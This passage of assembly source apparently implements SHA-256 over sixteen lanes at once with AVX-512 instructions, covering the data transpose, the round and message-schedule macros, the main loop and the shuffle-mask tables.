vshufps _r11, _r6, _t1, 0xDD \ // r11 = {l13 k13 j13 113 l9 k9 j9 i9 l5 k5 j5 i5 l1 k1 j1 i1}
vshufps _r9, _r8, _r10, 0x88 \ // r9 = {l14 k14 j14 114 l10 k10 j10 i10 l6 k6 j6 i6 l2 k2 j2 i2}
vshufps _r8, _r8, _r10, 0xDD \ // r8 = {l15 k15 j15 115 l11 k11 j11 i11 l7 k7 j7 i7 l3 k3 j3 i3}
vshufps _r6, _r6, _t1, 0x88 \ // r6 = {l12 k12 j12 112 l8 k8 j8 i8 l4 k4 j4 i4 l0 k0 j0 i0}
\
\ // use r10 in place of t0
vshufps _r10, _r12, _r13, 0x44 \ // r10 = {n13 n12 m13 m12 n9 n8 m9 m8 n5 n4 m5 m4 n1 n0 a1 m0}
vshufps _r12, _r12, _r13, 0xEE \ // r12 = {n15 n14 m15 m14 n11 n10 m11 m10 n7 n6 m7 m6 n3 n2 a3 m2}
vshufps _t1, _r14, _r15, 0x44 \ // t1 = {p13 p12 013 012 p9 p8 09 08 p5 p4 05 04 p1 p0 01 00}
vshufps _r14, _r14, _r15, 0xEE \ // r14 = {p15 p14 015 014 p11 p10 011 010 p7 p6 07 06 p3 p2 03 02}
\
vshufps _r15, _r10, _t1, 0xDD \ // r15 = {p13 013 n13 m13 p9 09 n9 m9 p5 05 n5 m5 p1 01 n1 m1}
vshufps _r13, _r12, _r14, 0x88 \ // r13 = {p14 014 n14 m14 p10 010 n10 m10 p6 06 n6 m6 p2 02 n2 m2}
vshufps _r12, _r12, _r14, 0xDD \ // r12 = {p15 015 n15 m15 p11 011 n11 m11 p7 07 n7 m7 p3 03 n3 m3}
vshufps _r10, _r10, _t1, 0x88 \ // r10 = {p12 012 n12 m12 p8 08 n8 m8 p4 04 n4 m4 p0 00 n0 m0}
\
\ // At this point, the registers that contain interesting data are:
\ // t0, r3, r1, r0, r2, r7, r5, r4, r6, r11, r9, r8, r10, r15, r13, r12
\ // Can use t1 and r14 as scratch registers
LEAQ PSHUFFLE_TRANSPOSE16_MASK1<>(SB), BX \
LEAQ PSHUFFLE_TRANSPOSE16_MASK2<>(SB), R8 \
\
vmovdqu32 _r14, [rbx] \
vpermi2q _r14, _t0, _r2 \ // r14 = {h8 g8 f8 e8 d8 c8 b8 a8 h0 g0 f0 e0 d0 c0 b0 a0}
vmovdqu32 _t1, [r8] \
vpermi2q _t1, _t0, _r2 \ // t1 = {h12 g12 f12 e12 d12 c12 b12 a12 h4 g4 f4 e4 d4 c4 b4 a4}
\
vmovdqu32 _r2, [rbx] \
vpermi2q _r2, _r3, _r7 \ // r2 = {h9 g9 f9 e9 d9 c9 b9 a9 h1 g1 f1 e1 d1 c1 b1 a1}
vmovdqu32 _t0, [r8] \
vpermi2q _t0, _r3, _r7 \ // t0 = {h13 g13 f13 e13 d13 c13 b13 a13 h5 g5 f5 e5 d5 c5 b5 a5}
\
vmovdqu32 _r3, [rbx] \
vpermi2q _r3, _r1, _r5 \ // r3 = {h10 g10 f10 e10 d10 c10 b10 a10 h2 g2 f2 e2 d2 c2 b2 a2}
vmovdqu32 _r7, [r8] \
vpermi2q _r7, _r1, _r5 \ // r7 = {h14 g14 f14 e14 d14 c14 b14 a14 h6 g6 f6 e6 d6 c6 b6 a6}
\
vmovdqu32 _r1, [rbx] \
vpermi2q _r1, _r0, _r4 \ // r1 = {h11 g11 f11 e11 d11 c11 b11 a11 h3 g3 f3 e3 d3 c3 b3 a3}
vmovdqu32 _r5, [r8] \
vpermi2q _r5, _r0, _r4 \ // r5 = {h15 g15 f15 e15 d15 c15 b15 a15 h7 g7 f7 e7 d7 c7 b7 a7}
\
vmovdqu32 _r0, [rbx] \
vpermi2q _r0, _r6, _r10 \ // r0 = {p8 o8 n8 m8 l8 k8 j8 i8 p0 o0 n0 m0 l0 k0 j0 i0}
vmovdqu32 _r4, [r8] \
vpermi2q _r4, _r6, _r10 \ // r4 = {p12 o12 n12 m12 l12 k12 j12 i12 p4 o4 n4 m4 l4 k4 j4 i4}
\
vmovdqu32 _r6, [rbx] \
vpermi2q _r6, _r11, _r15 \ // r6 = {p9 o9 n9 m9 l9 k9 j9 i9 p1 o1 n1 m1 l1 k1 j1 i1}
vmovdqu32 _r10, [r8] \
vpermi2q _r10, _r11, _r15 \ // r10 = {p13 o13 n13 m13 l13 k13 j13 i13 p5 o5 n5 m5 l5 k5 j5 i5}
\
vmovdqu32 _r11, [rbx] \
vpermi2q _r11, _r9, _r13 \ // r11 = {p10 o10 n10 m10 l10 k10 j10 i10 p2 o2 n2 m2 l2 k2 j2 i2}
vmovdqu32 _r15, [r8] \
vpermi2q _r15, _r9, _r13 \ // r15 = {p14 o14 n14 m14 l14 k14 j14 i14 p6 o6 n6 m6 l6 k6 j6 i6}
\
vmovdqu32 _r9, [rbx] \
vpermi2q _r9, _r8, _r12 \ // r9 = {p11 o11 n11 m11 l11 k11 j11 i11 p3 o3 n3 m3 l3 k3 j3 i3}
vmovdqu32 _r13, [r8] \
vpermi2q _r13, _r8, _r12 \ // r13 = {p15 o15 n15 m15 l15 k15 j15 i15 p7 o7 n7 m7 l7 k7 j7 i7}
\
\ // At this point r8 and r12 can be used as scratch registers
vshuff64x2 _r8, _r14, _r0, 0xEE \ // r8 = {p8 o8 n8 m8 l8 k8 j8 i8 h8 g8 f8 e8 d8 c8 b8 a8}
vshuff64x2 _r0, _r14, _r0, 0x44 \ // r0 = {p0 o0 n0 m0 l0 k0 j0 i0 h0 g0 f0 e0 d0 c0 b0 a0}
\
vshuff64x2 _r12, _t1, _r4, 0xEE \ // r12 = {p12 o12 n12 m12 l12 k12 j12 i12 h12 g12 f12 e12 d12 c12 b12 a12}
vshuff64x2 _r4, _t1, _r4, 0x44 \ // r4 = {p4 o4 n4 m4 l4 k4 j4 i4 h4 g4 f4 e4 d4 c4 b4 a4}
\
vshuff64x2 _r14, _r7, _r15, 0xEE \ // r14 = {p14 o14 n14 m14 l14 k14 j14 i14 h14 g14 f14 e14 d14 c14 b14 a14}
vshuff64x2 _t1, _r7, _r15, 0x44 \ // t1 = {p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6}
\
vshuff64x2 _r15, _r5, _r13, 0xEE \ // r15 = {p15 o15 n15 m15 l15 k15 j15 i15 h15 g15 f15 e15 d15 c15 b15 a15}
vshuff64x2 _r7, _r5, _r13, 0x44 \ // r7 = {p7 o7 n7 m7 l7 k7 j7 i7 h7 g7 f7 e7 d7 c7 b7 a7}
\
vshuff64x2 _r13, _t0, _r10, 0xEE \ // r13 = {p13 o13 n13 m13 l13 k13 j13 i13 h13 g13 f13 e13 d13 c13 b13 a13}
vshuff64x2 _r5, _t0, _r10, 0x44 \ // r5 = {p5 o5 n5 m5 l5 k5 j5 i5 h5 g5 f5 e5 d5 c5 b5 a5}
\
vshuff64x2 _r10, _r3, _r11, 0xEE \ // r10 = {p10 o10 n10 m10 l10 k10 j10 i10 h10 g10 f10 e10 d10 c10 b10 a10}
vshuff64x2 _t0, _r3, _r11, 0x44 \ // t0 = {p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2}
\
vshuff64x2 _r11, _r1, _r9, 0xEE \ // r11 = {p11 o11 n11 m11 l11 k11 j11 i11 h11 g11 f11 e11 d11 c11 b11 a11}
vshuff64x2 _r3, _r1, _r9, 0x44 \ // r3 = {p3 o3 n3 m3 l3 k3 j3 i3 h3 g3 f3 e3 d3 c3 b3 a3}
\
vshuff64x2 _r9, _r2, _r6, 0xEE \ // r9 = {p9 o9 n9 m9 l9 k9 j9 i9 h9 g9 f9 e9 d9 c9 b9 a9}
vshuff64x2 _r1, _r2, _r6, 0x44 \ // r1 = {p1 o1 n1 m1 l1 k1 j1 i1 h1 g1 f1 e1 d1 c1 b1 a1}
\
vmovdqu32 _r2, _t0 \ // r2 = {p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2}
vmovdqu32 _r6, _t1 \ // r6 = {p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6}
// CH(A, B, C) = (A&B) ^ (~A&C)
// MAJ(E, F, G) = (E&F) ^ (E&G) ^ (F&G)
// SIGMA0 = ROR_2 ^ ROR_13 ^ ROR_22
// SIGMA1 = ROR_6 ^ ROR_11 ^ ROR_25
// sigma0 = ROR_7 ^ ROR_18 ^ SHR_3
// sigma1 = ROR_17 ^ ROR_19 ^ SHR_10
// Main processing loop per round
#define PROCESS_LOOP(_WT, _ROUND, _A, _B, _C, _D, _E, _F, _G, _H) \
\ // T1 = H + SIGMA1(E) + CH(E, F, G) + Kt + Wt
\ // T2 = SIGMA0(A) + MAJ(A, B, C)
\ // H=G, G=F, F=E, E=D+T1, D=C, C=B, B=A, A=T1+T2
\
\ // H becomes T2, then add T1 for A
\ // D becomes D + T1 for E
\
vpaddd T1, _H, TMP3 \ // T1 = H + Kt
vmovdqu32 TMP0, _E \
vprord TMP1, _E, 6 \ // ROR_6(E)
vprord TMP2, _E, 11 \ // ROR_11(E)
vprord TMP3, _E, 25 \ // ROR_25(E)
vpternlogd TMP0, _F, _G, 0xCA \ // TMP0 = CH(E,F,G)
vpaddd T1, T1, _WT \ // T1 = T1 + Wt
vpternlogd TMP1, TMP2, TMP3, 0x96 \ // TMP1 = SIGMA1(E)
vpaddd T1, T1, TMP0 \ // T1 = T1 + CH(E,F,G)
vpaddd T1, T1, TMP1 \ // T1 = T1 + SIGMA1(E)
vpaddd _D, _D, T1 \ // D = D + T1
\
vprord _H, _A, 2 \ // ROR_2(A)
vprord TMP2, _A, 13 \ // ROR_13(A)
vprord TMP3, _A, 22 \ // ROR_22(A)
vmovdqu32 TMP0, _A \
vpternlogd TMP0, _B, _C, 0xE8 \ // TMP0 = MAJ(A,B,C)
vpternlogd _H, TMP2, TMP3, 0x96 \ // H(T2) = SIGMA0(A)
vpaddd _H, _H, TMP0 \ // H(T2) = SIGMA0(A) + MAJ(A,B,C)
vpaddd _H, _H, T1 \ // H(A) = H(T2) + T1
\
vmovdqu32 TMP3, [TBL + ((_ROUND+1)*64)] \ // Next Kt
#define MSG_SCHED_ROUND_16_63(_WT, _WTp1, _WTp9, _WTp14) \
vprord TMP4, _WTp14, 17 \ // ROR_17(Wt-2)
vprord TMP5, _WTp14, 19 \ // ROR_19(Wt-2)
vpsrld TMP6, _WTp14, 10 \ // SHR_10(Wt-2)
vpternlogd TMP4, TMP5, TMP6, 0x96 \ // TMP4 = sigma1(Wt-2)
\
vpaddd _WT, _WT, TMP4 \ // Wt = Wt-16 + sigma1(Wt-2)
vpaddd _WT, _WT, _WTp9 \ // Wt = Wt-16 + sigma1(Wt-2) + Wt-7
\
vprord TMP4, _WTp1, 7 \ // ROR_7(Wt-15)
vprord TMP5, _WTp1, 18 \ // ROR_18(Wt-15)
vpsrld TMP6, _WTp1, 3 \ // SHR_3(Wt-15)
vpternlogd TMP4, TMP5, TMP6, 0x96 \ // TMP4 = sigma0(Wt-15)
\
vpaddd _WT, _WT, TMP4 \ // Wt = Wt-16 + sigma1(Wt-2) +
\ // Wt-7 + sigma0(Wt-15) +
// Note this is reading in a block of data for one lane
// When all 16 are read, the data must be transposed to build msg schedule
#define MSG_SCHED_ROUND_00_15(_WT, OFFSET, LABEL) \
TESTQ $(1<<OFFSET), MASK_P9 \
JE LABEL \
MOVQ OFFSET*24(INPUT_P9), R9 \
vmovups _WT, [inp0+IDX] \
LABEL: \
#define MASKED_LOAD(_WT, OFFSET, LABEL) \
TESTQ $(1<<OFFSET), MASK_P9 \
JE LABEL \
MOVQ OFFSET*24(INPUT_P9), R9 \
vmovups _WT,[inp0+IDX] \
LABEL: \
TEXT ·sha256_x16_avx512(SB), 7, $0
MOVQ digests+0(FP), STATE_P9 //
MOVQ scratch+8(FP), SCRATCH_P9
MOVQ mask_len+32(FP), INP_SIZE_P9 // number of blocks to process
MOVQ mask+24(FP), MASKP_P9
MOVQ (MASKP_P9), MASK_P9
kmovq k1, mask
LEAQ inputs+48(FP), INPUT_P9
// Initialize digests
vmovdqu32 A, [STATE + 0*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 B, [STATE + 1*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 C, [STATE + 2*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 D, [STATE + 3*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 E, [STATE + 4*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 F, [STATE + 5*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 G, [STATE + 6*SHA256_DIGEST_ROW_SIZE]
vmovdqu32 H, [STATE + 7*SHA256_DIGEST_ROW_SIZE]
MOVQ table+16(FP), TBL_P9
xor IDX, IDX
// Read in first block of input data
MASKED_LOAD( W0, 0, skipInput0)
MASKED_LOAD( W1, 1, skipInput1)
MASKED_LOAD( W2, 2, skipInput2)
MASKED_LOAD( W3, 3, skipInput3)
MASKED_LOAD( W4, 4, skipInput4)
MASKED_LOAD( W5, 5, skipInput5)
MASKED_LOAD( W6, 6, skipInput6)
MASKED_LOAD( W7, 7, skipInput7)
MASKED_LOAD( W8, 8, skipInput8)
MASKED_LOAD( W9, 9, skipInput9)
MASKED_LOAD(W10, 10, skipInput10)
MASKED_LOAD(W11, 11, skipInput11)
MASKED_LOAD(W12, 12, skipInput12)
MASKED_LOAD(W13, 13, skipInput13)
MASKED_LOAD(W14, 14, skipInput14)
MASKED_LOAD(W15, 15, skipInput15)
lloop:
LEAQ PSHUFFLE_BYTE_FLIP_MASK<>(SB), TBL_P9
vmovdqu32 TMP2, [TBL]
// Get first K from table
MOVQ table+16(FP), TBL_P9
vmovdqu32 TMP3, [TBL]
// Save digests for later addition
vmovdqu32 [SCRATCH + 64*0], A
vmovdqu32 [SCRATCH + 64*1], B
vmovdqu32 [SCRATCH + 64*2], C
vmovdqu32 [SCRATCH + 64*3], D
vmovdqu32 [SCRATCH + 64*4], E
vmovdqu32 [SCRATCH + 64*5], F
vmovdqu32 [SCRATCH + 64*6], G
vmovdqu32 [SCRATCH + 64*7], H
add IDX, 64
// Transpose input data
TRANSPOSE16(W0, W1, W2, W3, W4, W5, W6, W7, W8, W9, W10, W11, W12, W13, W14, W15, TMP0, TMP1)
vpshufb W0, W0, TMP2
vpshufb W1, W1, TMP2
vpshufb W2, W2, TMP2
vpshufb W3, W3, TMP2
vpshufb W4, W4, TMP2
vpshufb W5, W5, TMP2
vpshufb W6, W6, TMP2
vpshufb W7, W7, TMP2
vpshufb W8, W8, TMP2
vpshufb W9, W9, TMP2
vpshufb W10, W10, TMP2
vpshufb W11, W11, TMP2
vpshufb W12, W12, TMP2
vpshufb W13, W13, TMP2
vpshufb W14, W14, TMP2
vpshufb W15, W15, TMP2
// MSG Schedule for W0-W15 is now complete in registers
// Process first 48 rounds
// Calculate next Wt+16 after processing is complete and Wt is unneeded
PROCESS_LOOP( W0, 0, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W0, W1, W9, W14)
PROCESS_LOOP( W1, 1, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W1, W2, W10, W15)
PROCESS_LOOP( W2, 2, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63( W2, W3, W11, W0)
PROCESS_LOOP( W3, 3, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63( W3, W4, W12, W1)
PROCESS_LOOP( W4, 4, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63( W4, W5, W13, W2)
PROCESS_LOOP( W5, 5, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63( W5, W6, W14, W3)
PROCESS_LOOP( W6, 6, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63( W6, W7, W15, W4)
PROCESS_LOOP( W7, 7, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63( W7, W8, W0, W5)
PROCESS_LOOP( W8, 8, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W8, W9, W1, W6)
PROCESS_LOOP( W9, 9, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W9, W10, W2, W7)
PROCESS_LOOP(W10, 10, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63(W10, W11, W3, W8)
PROCESS_LOOP(W11, 11, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63(W11, W12, W4, W9)
PROCESS_LOOP(W12, 12, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63(W12, W13, W5, W10)
PROCESS_LOOP(W13, 13, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63(W13, W14, W6, W11)
PROCESS_LOOP(W14, 14, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63(W14, W15, W7, W12)
PROCESS_LOOP(W15, 15, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63(W15, W0, W8, W13)
PROCESS_LOOP( W0, 16, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W0, W1, W9, W14)
PROCESS_LOOP( W1, 17, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W1, W2, W10, W15)
PROCESS_LOOP( W2, 18, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63( W2, W3, W11, W0)
PROCESS_LOOP( W3, 19, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63( W3, W4, W12, W1)
PROCESS_LOOP( W4, 20, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63( W4, W5, W13, W2)
PROCESS_LOOP( W5, 21, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63( W5, W6, W14, W3)
PROCESS_LOOP( W6, 22, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63( W6, W7, W15, W4)
PROCESS_LOOP( W7, 23, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63( W7, W8, W0, W5)
PROCESS_LOOP( W8, 24, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W8, W9, W1, W6)
PROCESS_LOOP( W9, 25, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W9, W10, W2, W7)
PROCESS_LOOP(W10, 26, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63(W10, W11, W3, W8)
PROCESS_LOOP(W11, 27, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63(W11, W12, W4, W9)
PROCESS_LOOP(W12, 28, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63(W12, W13, W5, W10)
PROCESS_LOOP(W13, 29, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63(W13, W14, W6, W11)
PROCESS_LOOP(W14, 30, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63(W14, W15, W7, W12)
PROCESS_LOOP(W15, 31, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63(W15, W0, W8, W13)
PROCESS_LOOP( W0, 32, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W0, W1, W9, W14)
PROCESS_LOOP( W1, 33, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W1, W2, W10, W15)
PROCESS_LOOP( W2, 34, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63( W2, W3, W11, W0)
PROCESS_LOOP( W3, 35, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63( W3, W4, W12, W1)
PROCESS_LOOP( W4, 36, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63( W4, W5, W13, W2)
PROCESS_LOOP( W5, 37, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63( W5, W6, W14, W3)
PROCESS_LOOP( W6, 38, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63( W6, W7, W15, W4)
PROCESS_LOOP( W7, 39, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63( W7, W8, W0, W5)
PROCESS_LOOP( W8, 40, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_16_63( W8, W9, W1, W6)
PROCESS_LOOP( W9, 41, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_16_63( W9, W10, W2, W7)
PROCESS_LOOP(W10, 42, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_16_63(W10, W11, W3, W8)
PROCESS_LOOP(W11, 43, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_16_63(W11, W12, W4, W9)
PROCESS_LOOP(W12, 44, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_16_63(W12, W13, W5, W10)
PROCESS_LOOP(W13, 45, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_16_63(W13, W14, W6, W11)
PROCESS_LOOP(W14, 46, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_16_63(W14, W15, W7, W12)
PROCESS_LOOP(W15, 47, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_16_63(W15, W0, W8, W13)
// Check if this is the last block
sub INP_SIZE, 1
JE lastLoop
// Load next mask for inputs
ADDQ $8, MASKP_P9
MOVQ (MASKP_P9), MASK_P9
// Process last 16 rounds
// Read in next block msg data for use in first 16 words of msg sched
PROCESS_LOOP( W0, 48, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_00_15( W0, 0, skipNext0)
PROCESS_LOOP( W1, 49, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_00_15( W1, 1, skipNext1)
PROCESS_LOOP( W2, 50, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_00_15( W2, 2, skipNext2)
PROCESS_LOOP( W3, 51, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_00_15( W3, 3, skipNext3)
PROCESS_LOOP( W4, 52, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_00_15( W4, 4, skipNext4)
PROCESS_LOOP( W5, 53, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_00_15( W5, 5, skipNext5)
PROCESS_LOOP( W6, 54, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_00_15( W6, 6, skipNext6)
PROCESS_LOOP( W7, 55, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_00_15( W7, 7, skipNext7)
PROCESS_LOOP( W8, 56, A, B, C, D, E, F, G, H)
MSG_SCHED_ROUND_00_15( W8, 8, skipNext8)
PROCESS_LOOP( W9, 57, H, A, B, C, D, E, F, G)
MSG_SCHED_ROUND_00_15( W9, 9, skipNext9)
PROCESS_LOOP(W10, 58, G, H, A, B, C, D, E, F)
MSG_SCHED_ROUND_00_15(W10, 10, skipNext10)
PROCESS_LOOP(W11, 59, F, G, H, A, B, C, D, E)
MSG_SCHED_ROUND_00_15(W11, 11, skipNext11)
PROCESS_LOOP(W12, 60, E, F, G, H, A, B, C, D)
MSG_SCHED_ROUND_00_15(W12, 12, skipNext12)
PROCESS_LOOP(W13, 61, D, E, F, G, H, A, B, C)
MSG_SCHED_ROUND_00_15(W13, 13, skipNext13)
PROCESS_LOOP(W14, 62, C, D, E, F, G, H, A, B)
MSG_SCHED_ROUND_00_15(W14, 14, skipNext14)
PROCESS_LOOP(W15, 63, B, C, D, E, F, G, H, A)
MSG_SCHED_ROUND_00_15(W15, 15, skipNext15)
// Add old digest
vmovdqu32 TMP2, A
vmovdqu32 A, [SCRATCH + 64*0]
vpaddd A{k1}, A, TMP2
vmovdqu32 TMP2, B
vmovdqu32 B, [SCRATCH + 64*1]
vpaddd B{k1}, B, TMP2
vmovdqu32 TMP2, C
vmovdqu32 C, [SCRATCH + 64*2]
vpaddd C{k1}, C, TMP2
vmovdqu32 TMP2, D
vmovdqu32 D, [SCRATCH + 64*3]
vpaddd D{k1}, D, TMP2
vmovdqu32 TMP2, E
vmovdqu32 E, [SCRATCH + 64*4]
vpaddd E{k1}, E, TMP2
vmovdqu32 TMP2, F
vmovdqu32 F, [SCRATCH + 64*5]
vpaddd F{k1}, F, TMP2
vmovdqu32 TMP2, G
vmovdqu32 G, [SCRATCH + 64*6]
vpaddd G{k1}, G, TMP2
vmovdqu32 TMP2, H
vmovdqu32 H, [SCRATCH + 64*7]
vpaddd H{k1}, H, TMP2
kmovq k1, mask
JMP lloop
lastLoop:
// Process last 16 rounds
PROCESS_LOOP( W0, 48, A, B, C, D, E, F, G, H)
PROCESS_LOOP( W1, 49, H, A, B, C, D, E, F, G)
PROCESS_LOOP( W2, 50, G, H, A, B, C, D, E, F)
PROCESS_LOOP( W3, 51, F, G, H, A, B, C, D, E)
PROCESS_LOOP( W4, 52, E, F, G, H, A, B, C, D)
PROCESS_LOOP( W5, 53, D, E, F, G, H, A, B, C)
PROCESS_LOOP( W6, 54, C, D, E, F, G, H, A, B)
PROCESS_LOOP( W7, 55, B, C, D, E, F, G, H, A)
PROCESS_LOOP( W8, 56, A, B, C, D, E, F, G, H)
PROCESS_LOOP( W9, 57, H, A, B, C, D, E, F, G)
PROCESS_LOOP(W10, 58, G, H, A, B, C, D, E, F)
PROCESS_LOOP(W11, 59, F, G, H, A, B, C, D, E)
PROCESS_LOOP(W12, 60, E, F, G, H, A, B, C, D)
PROCESS_LOOP(W13, 61, D, E, F, G, H, A, B, C)
PROCESS_LOOP(W14, 62, C, D, E, F, G, H, A, B)
PROCESS_LOOP(W15, 63, B, C, D, E, F, G, H, A)
// Add old digest
vmovdqu32 TMP2, A
vmovdqu32 A, [SCRATCH + 64*0]
vpaddd A{k1}, A, TMP2
vmovdqu32 TMP2, B
vmovdqu32 B, [SCRATCH + 64*1]
vpaddd B{k1}, B, TMP2
vmovdqu32 TMP2, C
vmovdqu32 C, [SCRATCH + 64*2]
vpaddd C{k1}, C, TMP2
vmovdqu32 TMP2, D
vmovdqu32 D, [SCRATCH + 64*3]
vpaddd D{k1}, D, TMP2
vmovdqu32 TMP2, E
vmovdqu32 E, [SCRATCH + 64*4]
vpaddd E{k1}, E, TMP2
vmovdqu32 TMP2, F
vmovdqu32 F, [SCRATCH + 64*5]
vpaddd F{k1}, F, TMP2
vmovdqu32 TMP2, G
vmovdqu32 G, [SCRATCH + 64*6]
vpaddd G{k1}, G, TMP2
vmovdqu32 TMP2, H
vmovdqu32 H, [SCRATCH + 64*7]
vpaddd H{k1}, H, TMP2
// Write out digest
vmovdqu32 [STATE + 0*SHA256_DIGEST_ROW_SIZE], A
vmovdqu32 [STATE + 1*SHA256_DIGEST_ROW_SIZE], B
vmovdqu32 [STATE + 2*SHA256_DIGEST_ROW_SIZE], C
vmovdqu32 [STATE + 3*SHA256_DIGEST_ROW_SIZE], D
vmovdqu32 [STATE + 4*SHA256_DIGEST_ROW_SIZE], E
vmovdqu32 [STATE + 5*SHA256_DIGEST_ROW_SIZE], F
vmovdqu32 [STATE + 6*SHA256_DIGEST_ROW_SIZE], G
vmovdqu32 [STATE + 7*SHA256_DIGEST_ROW_SIZE], H
VZEROUPPER
RET
//
// Tables
//
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x000(SB)/8, $0x0405060700010203
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x008(SB)/8, $0x0c0d0e0f08090a0b
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x010(SB)/8, $0x0405060700010203
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x018(SB)/8, $0x0c0d0e0f08090a0b
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x020(SB)/8, $0x0405060700010203
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x028(SB)/8, $0x0c0d0e0f08090a0b
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x030(SB)/8, $0x0405060700010203
DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x038(SB)/8, $0x0c0d0e0f08090a0b
GLOBL PSHUFFLE_BYTE_FLIP_MASK<>(SB), 8, $64
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x000(SB)/8, $0x0000000000000000
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x008(SB)/8, $0x0000000000000001
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x010(SB)/8, $0x0000000000000008
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x018(SB)/8, $0x0000000000000009
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x020(SB)/8, $0x0000000000000004
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x028(SB)/8, $0x0000000000000005
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x030(SB)/8, $0x000000000000000C
DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x038(SB)/8, $0x000000000000000D
GLOBL PSHUFFLE_TRANSPOSE16_MASK1<>(SB), 8, $64
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x000(SB)/8, $0x0000000000000002
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x008(SB)/8, $0x0000000000000003
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x010(SB)/8, $0x000000000000000A
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x018(SB)/8, $0x000000000000000B
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x020(SB)/8, $0x0000000000000006
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x028(SB)/8, $0x0000000000000007
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x030(SB)/8, $0x000000000000000E
DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x038(SB)/8, $0x000000000000000F
GLOBL PSHUFFLE_TRANSPOSE16_MASK2<>(SB), 8, $64
| 48.761281
| 117
| 0.551658
|
